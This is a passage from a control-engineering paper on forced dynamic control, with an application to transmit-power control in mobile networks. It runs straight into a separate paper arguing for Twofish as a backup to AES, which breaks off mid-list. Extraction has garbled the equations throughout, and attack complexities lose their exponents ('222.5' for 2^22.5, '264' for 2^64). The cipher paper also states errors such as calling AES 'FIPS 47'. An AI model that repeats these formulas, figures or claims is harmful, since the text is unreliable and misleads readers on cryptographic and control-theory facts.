however, formulated only in the continuous time domain 
and requires familiarity with Lie algebra. FDC can 
achieve the same as this in a relatively straightforward 
manner without Lie algebra and, in addition, can yield a 
specified nonlinear closed-loop dynamics, such as for the 



 

time optimal control of plants subject to control saturation 
constraints. Another important feature of FDC is that it 
automatically compensates for external disturbances. It 
has already been successfully applied to electric drives 
[2]. 
 
THE GENERAL PLANT MODEL 

Forced dynamic control may be applied to any plant that 
can be modelled by linear or nonlinear differential 
equations in the continuous time domain or by linear or 
nonlinear difference equations in the discrete time 
domain. These models can always be converted to the 
state space form, which will be convenient for 
introduction of the general FDC method. Thus in the 
continuous time domain: 

 
( )

( )
( )

, (State differential equation)
(Measurement equation)

(Controlled variable equation)







x = F x,u d
y = G x
z = H x

&

.........(1) 

where N∈ℜx  is the state vector, r∈ℜu  is the control 

vector, r∈ℜd  is the external disturbance vector, m∈ℜy  

is the measurement vector and p∈ℜz  is the controlled 
output vector. ( )F • , ( )G • and ( )H •  are continuous and 

differentiable functions of their arguments. It should be 
noted that the controlled variable equation is usually not 
included in such models, because the measurement 
variables are often the same as the controlled variables.  
This is not, however, always the case. An example is a 
shaft sensor-less induction motor drive where the 
controlled variable is the shaft speed but the 
measurement variables are two of the stator phase 
currents.  In the discrete time domain, the state space 
model becomes: 

( )
( )
( )

k 1 k k k

k k

k k

(State difference equation)

(Measurement equation)

(Controlled variable equation)

+






x = F x , u ,d

y = G x

z = H x

...(2) 

where k  is the iteration index denoting values of the 
variables that occur at time, kt  seconds. Usually, 

k 1 k 1t t h const.+ +− = =  No terms involving u appear in 

the measurement or controlled variable equations 
because there is always a dynamic lag in real plants 
between the application of a step change in u and the 
resulting changes in y and z.  
 
To avoid presenting the FDC method separately for the 
continuous and discrete time domains, the following D  
operator and common notation for differentiation and 
time shifting will be introduced. In the continuous time 
domain, 

 { } [ ]
q

qq
q

d xx x
dt

∆
= =D ........................................................... (3a) 

and in the discrete time domain, 

 { } [ ]qq
k qx x x +

∆
= =D . .........................................................(3b) 

Then the state space models (1) and (2) may be 
expressed together as follows: 

 [ ] [ ] [ ] [ ]( )1 0 0 0x = F x ,u , d ................................................... (4a) 

 [ ] [ ]( )0 0y = G x ..................................................................(4b) 

 [ ] [ ]( )0 0z = H x .................................................................. (4c) 

THE PLANT RANK (OR RELATIVE DEGREE) 

The rank of the general plant (3) is important regarding 
the underlying theory of FDC and in the control law 
derivation. For a multivariable plant, it is defined as 
follows using the notation introduced by definitions (3): 
Equation (4c) may be written in component form as: 

 [ ] [ ]( )0 0
i iz H , i 1,2, ,p= =x K ........................................(5) 

It is important to understand that in particular cases, not 

every component of [ ]0x  will appear on the right hand 
side and this applies to all the subsequent functions of 

[ ]0x .  Applying the D -operator once to (5) yields: 

  [ ]{ } [ ] [ ]( )0 0 11
i i1z H , , i 1,2, ,p= =x x KD ......................(6) 

In the continuous time domain, this means 

[ ]{ }
[ ]( ) [ ] [ ]( ) [ ] [ ]( ) [ ]

01 i 1 i 2 i n
i

1 2 n
0 1 0 1 0 1'1 '2 'n

i 1 i 2 i n

H dx H dx H dx
z . . . , i 1,2, ,p

x dt x dt x dt

h .x h .x h .x ,

∂ ∂ ∂
= + + + =

∂ ∂ ∂

= + + +x x x

K K

K

D

In the discrete time domain, it means just 

 [ ]{ } [ ] [ ] [ ]( )0 1 1 11
i i 1 2 nz H x , x , , x , i 1,2, ,p== K KD  

so that in this case, ( ) ( )i1 iH H=• •  and is only a 

function of [ ]1x , not both [ ]1x  and [ ]0x .  Now the RHS 
of (6) may be expressed as a function of the present 

state, [ ]0x , and possibly [ ]0u  by substituting for [ ]1x  

using (4a). The disturbance vector, [ ]0d , also may or 
may not appear, but to simplify this exposition, it will be 
included in every step.  If, after the substitution, no 

component of [ ]0u  appears, then the result is  

 [ ]{ } [ ] [ ]( )0 0 01
i i1z H , , i 1,2, ,p′ == x d KD .......................(7) 

and the D  operator is applied again to yield: 

 [ ]{ } [ ] [ ] [ ] [ ]( )0 0 1 0 12
i i 2z H , , , , i 1,2, ,p= =x x d d KD ......(8) 

Again, if after substituting for [ ]1
j

x , j 1,2, ,N= K  using 

(4a), no component of [ ]0u  appears on the RHS, then (8) 
becomes: 

 [ ]{ } [ ] [ ] [ ]( )0 0 0 12
i i2z H , , ,i 1,2, ,p′ == x d d KD ................(9) 

If this process is repeated, eventually, at least one 

component of [ ]0u  will appear on the RHS.  If this occurs 
upon ir  repeated applications of the D  operator, then  



 

  [ ]{ } [ ] [ ] [ ] [ ] ii

i

R 1R 0 0 1 0 1
i i Rz H , , , , ,

 −  =   
x x d d dKD ....(10) 

with, which, after substituting for [ ]1
j

x , j 1,2, ,n= K  

using (4a) yields 

 
[ ]{ } [ ] [ ] [ ] [ ] ii

i

R 1R 0 0 0 0 1
i iR

z H , , , , ,
 −  ′=   

x u d d dKD . 

i.e., 

 
[ ] [ ] [ ] [ ]i i

i

R R 10 0 0 1
i iR

z H , , , , ,
   −    ′=   

x u d d dK ..............(11) 

Then iR  is the rank of the plant with respect to the ith 

controlled output. The total plant rank  is then  

 
p

i
i 1

R R
=

= ∑ .........................................................................(12) 

If R N= , then the plant is said to be of full rank. If 
R N< , then the plant is not of full rank and this would 
need careful consideration in the control system design, 
as discussed in the section on zero dynamics. 
 
 
THE GENERAL FDC ALGORITHM 

The principle of forced dynamic control is very simple:  
For the plant, differential (or difference) equations are 
formed of minimal order that relate the highest 
derivatives (or most recent values) of the controlled 
outputs to state variables and the control inputs. Then 
corresponding differential (or difference) equations 
relating the highest derivatives (or most recent values) of 
the controlled outputs to lower derivatives and the 
reference inputs are formulated, according to the 
specified closed-loop behaviour.  Finally, the set of 
equations obtained by equating the right hand sides are 
solved for the control variables, resulting in the required 
state feedback control law. 
 
Equation (11) may be viewed as an alternative form of 
plant model to the state space model constituted by 
equations (4a) and (4c) that were used for its derivation. 
It is quite straightforward to use this to derive a state 
feedback control law that yields a specified closed-loop 
dynamic response to the reference inputs. First, p desired 
closed-loop differential or difference equations are 
formulated for each output, each of the same order as 
(11).  Thus: 

[ ] [ ] [ ] [ ]i iR R 1 2 1 0 0
i i i i i i ir

z D z , ,z ,z ,z ,z , i 1,2, ,p
   −    = =  

K K ...(13) 

where [ ]0
i r

z  is the reference input that the controlled 

output, [ ]0
iz , is intended to follow and the functions, 

( )iD′ • , i 1,2, ,p= K , are chosen to yield the desired 

closed-loop dynamics. The disturbance vector, [ ]0d , 

together with the vectors, [ ] [ ] iR 11 2, , ,
 − d d dK , will be 

treated as state variables. In this case, 

[ ]j
i iz , j 1,2, ,R 1= −K , are state variables because the 

repeated application of the D operator yielded 

 
[ ] [ ] [ ] [ ] [ ]( )j 0 0 1 j 1
i i j

i

z H , , , , ,

i 1,2, , p , j 1,2, ,R 1

−′

= = −

= x d d dK

K K
..............................(14) 

which are a set of state transformations. Substituting for 
[ ]j
i iz , j 1,2, ,R 1= −K  in (13) using (14) then expresses 

the RHS in terms of the original state variables of (4a) 

and [ ] [ ] iR 11 2, , ,
 − d d dK : 

 
[ ] [ ] [ ]i iR R 10 0 1

i i
z D , , , , , i 1,2, ,p

   −    ′= =  
x d d dK K . .(15) 

Then the plant (11) is forced to follow the dynamics of 
(15), and hence (13), by simply equating the right hand 
sides: 

 

[ ] [ ] [ ] [ ]

[ ] [ ] [ ]

i

i

i

R 10 0 0 1
iR

R 10 0 1
i

H , , , , ,

D , , , , , i 1,2, ,p

 − 

 − 

 ′   
 ′= =  

x u d d d

x d d d

K

K K
.....(16) 

Provided r p≥ , noting also that usually, r p= , then 
equations (16) are solved for the control variables to 
yield the required forced dynamic control law: 

 
[ ] [ ] [ ] [ ] [ ]iR 10 0 0 1 0

r, , , , ,
 −  =   

u x d d d zKG ....................(17) 

where [ ] [ ] [ ] [ ] T0 0 0 0
r r1 r2 rpz z z =   z L . It should be noted that an 

observer may be used to estimate any unmeasured state 
variables, including the components of 

[ ] [ ] iR 10 1, , ,
 − d d dK . 

 
ZERO DYNAMICS 

Sometimes the control law will be formulated using only 

the measurement vector, [ ]0y , i.e., this is also the 
controlled vector and the plant may not then be of full 
rank. It is evident from the previous section that the 
order of the closed loop system is R and the plant order 
is N. This means that there exists an uncontrolled 
subsystem of order N R−  whose motion is not visible 

by observing the closed loop system through [ ]0y  and 

the corresponding reference input vector, [ ]0
ry . It is 

crucial that this subsystem is asymptotically stable and 
this, in the case of a nonlinear plant, would have to be 
carefully investigated by simulation. The dynamics of 
this subsystem is referred to as the zero dynamics. To 
understand why this terminology is used, if FDC is 
applied to a single input, single output linear plant whose 
transfer function has N poles and M finite zeros, then the 
poles, or eigenvalues characterising the zero dynamic are 
coincident with the zeros. Returning to the general case, 

if a separate controlled vector, [ ] [ ]( )0 0z = H x , is 



 

formed, then the function, ( )H • , can be chosen so that 

the plant is of full rank with respect to [ ]0z , thereby 
circumventing any problem of unstable zero dynamics. 
For control of induction motor drives, however, 
oscillatory zero dynamics has been used to automatically 
creat the rotating magnetic field [2]. 
 
ELEMENTARY EXAMPLES 
To reinforce understanding, all the steps taken in the 
section on the general FDC algorithm are taken in the 
following examples. The equation numbers are primed 
versions of the corresponding equation numbers in this 
previous section. 
 
Consider the continuous time problem of controlling the 
position, x, of a mass, M, constrained to move along a 
straight line, by a force, af K u= , where aK  is the 

actuator constant. If the mass is als o subject to an 
external disturbance force, df , and the position 

measurement constant is mK , then if the state variables 

are 1x x=  and 2x x= & , then the plant state space model 

is: 

 ( )
1 2

2 a d

x x
1

x K u F
M

=
 = −

&

&
......................................................(4a)’ 

 m 1y K x= ...........................................................................(5)’ 

To determine the plant rank w.r.t. y, first differentiate 
(4b)’: 
 m 1y K x=& & ...........................................................................(6)’ 

Substituting for 1x&  using (4a)’: 

 m 2y K x=& ...........................................................................(7)’ 

No u appears on the RHS.  Hence differentiate again: 
 m 2y K x=&& & ...........................................................................(8)’ 

Substituting for 2x&  using (4a)’: 

 ( )m
a d

K
y K u F

M
= −&& ....................................................... (11)’ 

The desired closed-loop system has to be 2nd order. Let 
this have an undamped natural frequency, nω , damping 

ratio, ζ  and unity DC gain: 

 ( )2
n r ny y y 2 y= ω − − ζω&& & ............................................... (13)’ 

Expressing y  and y&  in terms of the o riginal state variables: 

 2 n
n r 1 2

m m

21
y y x x

K K

  ζω
= ω − −   

&& ................................. (15)’ 

Equating the RHSs of (11)’ and (15)’ yields: 

 ( ) 2m n
a d n r 1 2

m m

K 21
K u F y x x

M K K

  ζω
− = ω − −   

........ (16)’ 

Solving for u  then yields the required FDC law: 

 2 n
n r 1 2 d

a m m m

21 M 1u y x x F
K K K K

    ζω = ω − − +         
(17)’ 

This FDC law virtually eliminates the effects of the 
disturbance force, even if it is time varying, provided an 
observer is used whose disturbance force estimate 
closely follows the real disturbance force.  Apart from 
this useful feature, the result is identical to that which 
would be obtained with conventional linear state 
feedback control with p ..... ole (i.e., eigenvalue) assignment. 
    
The second example is the same plant as above with 
time optimal control that applies the maximum torque 
set by the control saturation constraints, maxu± , and a 

piecewise constant disturbance force. In this case, the 
desired closed-loop dynamics is nonlinear: 

( )
( )

2 d 2 max 2m r
a max 1 d2 2

s max d

Mx F x F xK y
y . K u sgn x F

M K 2 F F

  −  = − + −  −    

&&

 ..........................................................................................(15)’’ 

where ( ) { }sgn x 1 f o r x 0 , 0 f o r x 0, 1 f o r x 0
∆
= + > = − < .  

Equating the right hand sides of (11)’ and (15)’’ and 
solving for u then yields: 

 
( )
( )

2 d 2 max 2r
max 1 2 2

s max d

Mx F x F xy
u u sgn x

K 2 F F

 −
 = − +
 −  

.......(17)’’ 

 
APPLICATION TO POWER CONTROL OF 
WIRELESS COMMUNICATION SYSTEMS  

Each mobile phone in a network communicates with one 
base station covering an area referred to as a cell. This is 
illustrated in Figure 1 for three phones in separate cells. 
In the interests of efficient use of the available frequency 
bands, such links in neighbouring cells may occupy the 
same frequency band.  Some interference will therefore 
occur along the gain paths, 

ij
g , i j≠ , dotted in Figure 1.  

 
Figure 1: Cellular mobile phone network structure. 

 
Consider the general case of n cells [3]. Then if ip , 

i 1,2, ,n= K , are the transmit powers of the base stations 
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i 1, 2, , n= K , are the transmit powers of the base stations 
in the network, the signal power received by the ith 
phone is ii ig p  and the interference power received 

from the remaining base stations is 
n

ij j
j 1, j i

g p
= ≠
∑ .  Let the 

thermal noise power generated in each phone be the 
same and denoted by η . Then the signal to interference 
ratio (SIR) of the ith phone will be: 

 
n

i ii i ij j
j 1, j i

r g p g p
= ≠

 
= + η  

 
∑ , i 1, 2, , n= K ...............(18) 

The objective will be to control the transmit powers so 
that each SIR will reach a demanded value, idemr , which 

may be different for each phone. The plant is actually 
defined by (18) and since this is an algebraic equation 
relating all the variables ( ir  and ip ) at the same time, the 
plant is of zero order. All the terms in (18) would have to be 
known to implement a model based control strategy such as 
FDC.  In fact, the total received power at each phone,  

 
n

Ri ij j
j 1

p g p
=

= ∑ , i 1, 2, , n= K ...................................(19a) 

and the interference power at each phone 

 
n

Ii ij j
j 1, j i

p g p
= ≠

= + η∑ , i 1, 2, , n= K .........................(19b) 

are separately measurable, and the 2n equations (19) could 
be repeated for different known transmit powers until a 
completely determined or over-determined set of 
simultaneous equations is obtained enabling the 2n  gains, 

ijg , to be estimated.  Thus, in principle, the complete 

plant model can be used for the control system design. 
This means that (18) could simply replaced by 

 
n

idem ii idem ij jdem
j 1, j i

r g p g p
= ≠

 
= + η  

 
∑ , i 1, 2, , n= K (20) 

and then solved for the corresponding demanded transmit 
powers, idemp , i 1, 2, , n= K , the transmit powers being 

set to i idemp p=  upon each iteration of the digital 

processor implementing the control. In practice, however, 
the interference power has considerable stochastic (i.e., 
random) components and such a simple system would 
cause ip  to have rapid fluctuations that could 
themselves interfere with the transmitted information.  
For this reason, the control variables will instead be 
chosen as: 
 i ip u=& , i 1, 2, , n= K ................................................(21) 
This places a pure integrator in each control channel of 
the plant, which acts as a low pass filter to prevent the 
undesirable short-term fluctuations of the transmit 
powers. The plant, constituted by equations (18) and 
(21), then becomes of nth order. 
 
In terms of the general FDC theory of the previous 

section, the controlled variables are: 
 i iz r= , i 1, 2, , n= K .................................................(22) 
and the measured variables are: 
 i iy p= , i 1, 2, , n= K ...............................................(23) 

In this example, applying the D  operator, which 
would be differentiation for this continuous plant, would 
yield an unnecessarily complicated solution, since instead 
(20) could be solved for the demanded transmit powers, 

idemp , and the FDC algorithm formulated in terms of ip , 

with (21) alone as the plant.  Also, FDC formulation in 
discrete time would allow a longer iteration period, h, 
than possible with continuous time formulation.  Hence, 
the plant, (21) and (23), will be modelled in discrete time 
as: 
 ik 1 ik iky y h u+ = + , i 1, 2, , n= K .............................(24) 

It is important to note here that ( )iu t  will be piecewise 
constant, being updated by the control computer only at 

kt t= , with k 1 kt t h+ − = , and under these 
circumstances, (24) yields precisely the same values of 

iy  as the continuous plant, (21) and (23), at the 
sampling times. 
 
It is immediately evident that the plant is of rank 1 with 
respect to each output, iy , because iu  appears on the 
right hand side of (24) (and also (21)).  It is therefore 
unecessary to apply the D  operator.  The desired 
closed-loop dynamics can then be written down as n first 
order difference equations. It is well known that the step 
response of a first order linear continuous system settles to 
approximately 95% of the steady state value in three time 
constants. The desired discrete time closed-loop system 
with a settling time, nearly the same as this (possible if 

sh T< ) is given by: 

s s
ik 1 ik idemk

3h T 3h T
y e y 1 e y , i 1,2, ,n+

− − 
= + − = 

 
K (25) 

This is a particular case of the discrete time version (i.e., 
the state transition equation) 
 ( ) ( )k 1 cl k cl r k k kh h ,+ = + =x Φ x Ψ y y Cx ............ (25a) 

of the corresponding linear continuous closed-loop 
system 
 cl cl r ,+ =x = A x B y y Cx& ........................................(25b) 

where clA  is the closed loop system matrix, clB  is the 
closed loop input matrix, C  is the measurement matrix, 

( )cl
hh eAΦ =  is the state transition (or fundamental) 

matrix and ( ) ( )h
cl 0

h dτ τ∫Ψ = Φ B  is the discrete time 

closed-loop input matrix. The required control law, which 
forces the plant (24) to have the same dynamics as (25) 
is then obtained by equating the right hand sides of (24) 
and (25) and then solving for iku : 



 

 ( )s
ik idemk ik

3h T1u 1 e y y , i 1, 2, , n
h

− 
= − − = 

 
K .(26) 

Figures 2 and 3 show a simulation (Matlab/Simulink) 
under the conditions of mismatched initial transmit 
powers with n 3= , r1dem=3, r2dem=6, r3dem=9, 

6.3155 0.63006 0.63006
0.45931 8.4211 0.53749
0.33684 0.45931 8.4221

 
 =  
  

G  and [ ]0.01 Wη = . 

The iteration period is [ ]h 1 s=  and the settling time is 

[ ]sT 3 s=  and the it is clear from Figure 2 that the 
desired SIRs are reached in this time and from Figure 3 
that the transmit powers converge to realistic constant 
values. The transmit power responses are contiguous 
straight line segments changing slope at h second 
intervals since ( )iu t  is piecewise constant and updated 
at the same intervals.  The simulation has been repeated 
for several different sets of parameters, also with 
successful results, but there is an upper constraint 
boundary on 1dem 2dem 3dem(r , r , r )  beyond which the 

solution of (20) for 1dem 2dem 3dem(p ,p , p )  yields some 

negative powers, indicating impracticability.  
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Figure 2: Response to step change in demanded SIR 
values 
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Figure 3: Transmitter power response to demanded SIR 
values 
 
OVERALL CONCLUSIONS AND 
RECOMMENDATIONS FOR FURTHER WORK 

The forced dynamic control technique can be applied to 
a broad range of plants, both linear and nonlinear, 
provided a reasonably accurate model of the plant is 
available. While the method is highly suitable for motion 
control applications such as electric drives, spacecraft 
attitude control and robotics, it is strongly recommended 
that the method is studied for new applications such as 
management of information flow in communications 
networks and road traffic control.  It is also important 
to carry out simulation studies of sensitivity to plant 
parameter mismatches in particular cases and consider 
the application of an outer robust control loop based on 
sliding mode control or model reference control. 
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ABSTRACT 

A backup cipher to the Advanced Encryption Standard is 
reviewed while a Twofish is recommended as the backup 
algorithm. The AES and Twofish are compared vis -à-vis 
National Institute of Standards and Technology’s selection 
criteria of the AES – general security, implementation of 
security, software performance, smart card performance, 
hardware performance and design features as we show that 
Twofish complements the AES. General Security and its 
implementation are the most significant aspects of the 
selection criteria; and it is shown that Twofish is a stronger 
cipher. 
 
 
INTRODUCTION 
 
     Data Encryption Standard (DES) - The world most famous 
and used symmetric-key encryption standard – was declared 
unsuitable for encryption of mission critical information, 
because its 56bit key length was no longer adequate. And the 
emergence of very fast processors and super computing 
machines meant that DES encryption key could be easily 
broken by simple brute-force attack – exhaustive key search. 
Again, with few attacks published about its cryptanalysis, 
especially with “distributed net” claiming it broke the cipher 
in few hours [1], the National Institute of Standards and 
Technology (NIST) initiated a call for the replacement 
process of DES.  
     On January 2, 1997, NIST announced the initiation of an 
effort to develop the Advanced Encryption Standard (AES) 
and made a formal call for algorithms on September 12, 1997. 
The workshop for the selection of a new symmetrical key 
cryptosystem - the Advanced Encryption Standard (AES) 
was to replace DES and Triple DEA. Triple Data Encryption 
Algorithm (Triple DEA) is DES in three runs, one for 
encryption, another for decryption and final encryption; for 
extend discussion on this, see [2, 3].   
     On August 20, 1998, NIST announced the acceptance of 
fifteen AES candidate algorithms at the First AES Candidate 
Conference (AES1)[4]. And requested the assistance of the 
cryptographic community in analysing the candidates. A 
subsequence scrutiny culminated in the reduction of the 

fifteen candidate algorithms to five. This was after an initial 
examination of the security and efficiency characteristics of 
each algorithm. The selected five finalist algorithms are 
MARS, RC6TM, Rijndael, Serpent and Twofish [5].  
     Finally, in October 2000, Rijndael was selected as the 
proposed Advanced Encryption Standard [6]. Subsequently 
in June 2001, the Advanced Encryption Standard (Rijndael) 
was approved as a Federal Information Processing 
Standard (FIPS 47). 
    After 40 months of rigorous exercise, algorithm testing, 
scrutiny and examination, strikingly though, Rijndael was 
selected as an only algorithm, as the Advanced Encryption 
Standard, in spite of the requests from the cryptographic 
community to designate an AES backup algorithm [7].  
     The evaluation criteria of the five finalist algorithms is 
based on NIST selected criteria (see table 1), namely:  
 

i) General Security 
ii) Implementation of Security 
iii) Software Performance 
iv) Smart Card Performance 
v) Hardware Performance 
vi) Design Feature 
 

     Table 1, shows the criteria in which the AES candidate 
algorithms were evaluated and selected. And apparently, all 
the five finalist algorithms performed well on the average. The 
two main significant factors are security and performance on 
both hardware and software. In this paper we argue for a 
backup AES algorithm in the event of a successful 
cryptanalysis of the AES.  This is particularly pertinent 
considering how long it took to select an AES, and given that 
DES, on its own did not show any weakness in design.  
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Table 1: Evaluation of the five finalists AES against 
NIST’S criteria 
  
In this research, the five finalist algorithms are revisited and 
comparisons made between Rijndael and Twofish, in terms 
of their cryptographic strength, as we argue for a backup 
algorithm in Twofish. The measure of the cryptographic 
strength is based on successful cryptanalysis of the ciphers. 
     Our contributions in this paper are as follows: 

1. To investigate cryptanalysis of the AES and 
Twofish ciphers 

2. To investigate a justification for a backup algorithm,  
3. To recommend Twofish as a backup algorithm. 

    Section 2 discusses NIST’s evaluation criteria of the AES 
candidates’ algorithm. Section 3 examines the cryptanalysis 
of Rijndael and Twofish ciphers; while section 4 explains the 
implementation that demonstrates selection criteria between 
Rijndael and Twofish, as we conclude with a discussion in 
section 5. 
 
 
THE ADVANCED ENCRYPTION STANDARD SELECTION 
CRITERIA  
 
     The selection criteria of the AES candidate algorithms 
were based on the September 1997 call for candidate 
algorithms, as NIST specified the overall evaluation criteria. 
The evaluation criteria were divided into three major 
categories; namely; Security; Cost; Algorithm and 
Implementation Characteristics [8]; expatiated as follows: 
• Security – encompassing, cryptanalysis and 

mathematical formalism of the algorithms’ designs. 
• Cost/Efficiency – encompassing, computational 

efficiency and cost of memory requirements. 
Computational efficiency includes Algorithm setup, Key 
setup and change, and Encryption and Decryption. 

• Algorithm and Implementation Characteristic – 
encompassing, how flexible and simple the algorithm is, 
and also its suitability both in hardware and software 
respectively. 

 
     By NIST’s selection criteria of the AES, security was 
ranked first. Security meaning, how strong is the algorithm 
and whether it will be broken easily? It is pertinent to note 
that Data Encryption Standard (DES) did not show any 
weakness in terms of design algorithm or its mathematical 
underpins, rather DES was replaced on the basis of 
exhaustive key search attack, since its 56bit key length was 
no longer computationally viable. Investigating the five-
finalist algorithm, it is shown that Rijndael is a substitution-
linear (SP) transformation network with 10, 12 or 14 rounds, 
depending on the key size [9]. DES is a variant of the Feistel 
Network, while Rijndael is similar to the Square cipher, a 
variant of an SP Network. An iterated fast block cipher that 
does not depend on the Feistel Network. Since DES showed 
no weakness in design, why was a cipher different in 
operation and design formalism choose over tested and 
trusted algorithm? This explains why Twofish was ranked 
better than Rijndael in terms of security! (See table 1).  

     The second criterion in the evaluation of the AES 
candidates is cost and efficiency. Cost, been the prize of 
memory and smart cards. In my opinion, cost should not have 
been included in the evaluation criteria. The cost of 
electronics is seen to fall yearly, and how much does a 
memory cost now compared to few years ago? The basis for 
cost as a selection criteria was to provide an opportunity for 
public affordability; but the cost of memory, disk, smart disk 
reduce yearly, this should have never been included.  
     Efficiency is the rate at which the cipher performs both in 
hardware and software. As shown, all of the five finalist 
algorithms performed reasonably well on both hardware and 
software, with Rijndael performing better. The variable key 
and block lengths implemented by Rijndael could account for 
this. 
     Finally, the last selection criterion is algorithm and 
implementation characteristics. The performance of Rijndael 
and Twofish are compared in terms of software and hardware 
related issues, thus areas of interest include; key schedule, 
key encryption setup, platform dependencies and 
performance on different architectures, i.e., Pentium family 
and IA64’s.   
 
Key Schedule and Key Encryption Setup: 
     Rijndael encrypts and decrypts more slowly for longer 
keys, and takes longer to set up longer keys, see table 2. 
Thus the performance of Rijndael deteriorates with 
increasing key length, as shown in section 4 of this paper 
(see table 4, figure 1 and 2).  
     Twofish has a constant encryption speed for all the keys, 
that is, encryption and decryption are independent of key 
lengths (128, 192 and 256 bits); however, it takes longer time 
to set up longer keys. This  is because Twofish uses an 
innovative approach that uses half of its encryption key to 
modify how the encryption algorithm operates, and this sub-
algorithm uses the other half of the key as its own encryption 
key. This invariably means longer key setup time for longer 
key length. 
 

S/N Algorithm 
Name 

Key Setup Encryption 

1 MAR [10] Constant Constant 
2 RC6 [11] Constant Constant 
3 Rijndael 12] Increasing 128: 10 rounds 

192: 20% slower 
256: 40% slower 

4 Serpent [13] Constant Constant 
5 Twofish [14] Increasing Constant 

Table 2: Speed of AES Candidates for Different Key Lengths 
[15] 
 
 
Flexibility of Algorithms and Memory Utilization 
      Twofish is a highly flexible cipher, unique in its 
implementation flexibility. The algorithm can be optimized for 
bulk encryption, key agility, low gate count, high gate count, 
or any combination of factors. All of these implementations 
are completely interoperable. Twofish can be used in network 
applications where keys are changed frequently and in 
applications where there is little or no RAM and ROM 



 

available [14]. This implies that it is flexible enough for 
‘limited space encryption’ as specified by NIST, which 
includes tiny smart-card CPUs. 
 
Performance on 8-bit Smart Card 
     Performance on memory-limited 8-bit smart cards is also a 
big achievement with the AES. Rijndael is very suitable for 8-
bit CPUs and 1 – 4 block applications, which require a great 
deal of security. This ranges from electronic purse, 
debit/credit to ticketing transactions that will be used in 
timing-critical applications such as public transport and toll-
road payment automation [14]. These applications do not 
require very high-end processors or huge memory gates. A 
general comparison of the AES candidates from the 
experiment conducted by Bruce Schneier and his team on 
smart card requirement shows that Rijndael encryption can 
occur effectively on 52byte RAM compared to Twofish that 
requires at least 60bytes RAM for the same code. 
 

Table 3: AES Candidates’ Smart Card RAM Requirements 
[14] 
 
     To simulate NIST’S ‘limited space encryption’ criterion, 
we carried out an implementation to determine the memory 
utilisation of these algorithms during encryption, which is  
discussed in section 4 of this paper “implementation”, (see 
table 4 & 5). Tables 2, 3 and 4 show that Rijndael uses 
smaller memory spaces during encryption compared to 
Twofish.  
     However, interesting to ask though, ‘limited space 
encryption’ is one of the criteria stipulated by NIST in the 
selection of the AES algorithm, but of what importance is 
6MB memory utilisation to us? When entry-level PC’s come 
with 256MB RAM and about 144MB pages file! Possibly the 
6MB memory requirement is for hand-held devices, such as 
PDA’s, hand-held “pin and chip” terminals at various petrol 
stations and payment centers. But an optimized version of 
the AES can be deployed to such systems with low memory 
capabilities, or must the AES conform to this criterion as a 
priori? This criterion should be classified as necessary but 
not sufficient.  
     The cost of memory chips are relatively lowered compared 
to a year or two ago, and the cost effect of a 256MB RAM to 
a 512MB RAM is rather negligible; thus, the limited space 
criterion should have no effect on the selection of an AES 
candidate algorithm [16]. 
 

CRYPTANALYSIS REPORTS ON AES AND TWOFISH 
 
     There seem to be diversified opinion about the security 
strength of the five finalist algorithms. Many believed the 
five finalist ciphers are cryptanalytically equivalent, others 
think otherwise. Joan and Vincent believe all the five finalists 

are cryptanalytically viable, since none of these ciphers have 
witnessed any attack as a result of inherent weakness in the 
design [17]. Note this proposition dates back to 1999, what 
has happened since then? 
     About fourteen months later, Courtois and Pieprzyk 
posted a paper discussing a new attack against Rijndael and 
Serpent captioned “the AES may have been broken!”[18]. 
The final version of Courtois and Pieprzyk paper was 
presented at Asiacrypt conference 2002.  The original copies 
are available on [19]. 
     Recent cryptanalytical objections have been lunched at 
the AES by Fuller and Millan on their paper showing that the 
AES’s 8x8-bit S-box is really an 8x1-bit S-box [20].  Fuller 
says that there is really only one piece of non-linearity going 
on in the cipher; everything else is linear! If these are to be 
true, this could lead to an algebraic attack on the AES1. 
     Filiol also expressed some biases in the Boolean functions 
of the AES, which could possibly be used to break the 
Advanced Encryption Standard [21]. 
     At crypto 2002, Murphy and Robshaw published a 
surprising result, allowing all of AES functions to be 
expressed in a single field. They postulated a cipher called 
BES that treats each AES byte as an 8-byte vector. BES 
operates on block of 128 bytes; for a special subset of the 
plaintexts and keys, BES is isomorphic to AES2. This 
representation has several nice properties that may make it 
easier to cryptanalyse AES [22]  
     However, comparing Rijndael and Twofish in terms of 
known attacks, and/or weaknesses; we have added reduced-
rounds effect or variants or maximum insecure variants. 
With about 1000 man-hours spent analysing Twofish. It is 
found that the best attack so far is against five rounds of 
Twofish without both pre and post – whitening of subkeys. 
Thus, it requires about 222.5 chosen plaintext pairs and 251 
working hours  [23]. 
     With related key attack, there is a partial chosen-key attack 
on 10 rounds of Twofish without the pre- and post – 
whitening. To mount the attack, we require a pair of related 
keys. We have about 264 chosen plaintexts under each key, 
and doing about 234 work, to recover the remaining unknown 
12 bytes of key [13]. With reduced rounds, we have a 
reduced-round attack on a simplified Twofish variant. That is, 
Twofish with fixed S-boxes, and without the 1-bit rotations. 
 

 
Maximum Insecure Variants 
Maximal Insecure Variant is also known as minimum secure 
variant, in the sense that we refer to the minimum number of 
rounds of the cipher after which the cipher becomes prone to 
cryptanalytic attacks. Of all the five finalist algorithms, we 
found different rounds for different minimum secure variant, 
see table 4. However, it is important to note that these ciphers 
were originally designed with different design assumptions, 
philosophy and goals in mind; thus different rounds of 
operations.  

                                                                 
1 Algebraic attack is an attack based on the algebraic 
representation of Rijndael 
2 BES is isomorphic to AES – meaning, the ciphers are similar 
both in structure and in operation. 

Algorithm Name Smart Card RAM (bytes) 
MARS 100 
RC6 210 
Rijndael 52 
Serpent 50 
Twofish 60 



 

     Biham [24] introduced the concept of “Maximal Insecure 
Variants” for the AES as a notion for further comparison of 
the AES algorithms in the NIST selection process. Recall from 
the paragraph above that all the finalists were designed with 
different assumptions, goals and philosophy, thus have 
different number of rounds of operations. However, to 
normalise Biham’s concept, Lars Knudsen presented another 
rule of thumb for changing the number of rounds of different 
algorithms [25].  
    By Knudsen, we have that,  

“Let r be the maximum number of rounds for 
which there is an attack faster than exhaustive 
key search.  
Choose 2r rounds for the cipher.”  

This rule gives us a new, although similar, measure of 
comparison. We have a table below comparing the maximal 
number of rounds for which the best cryptanalytic attack is 
less complex than a 256-bit brute-force search – call the 
“Maximal Insecure Variant.” 
 

Algorithm Name Rounds 
MARS 9 of 16 
RC6 15 of 20 
Rijndael 8 of 14 
Serpent 9 of 32 
Twofish 6 of 16 

      Table 4: Maximal Insecure Variants [18] 
 

Comparing the algorithms from table 4; we have the following 
observations; 
- MARS has 9 rounds of 16 attacks. This came from a 

deductive assumption of works published by Kelsey 
as follows. There is an 11-round (of 16 total) attack of 
the MARS core [26]. There is also an attack against the 
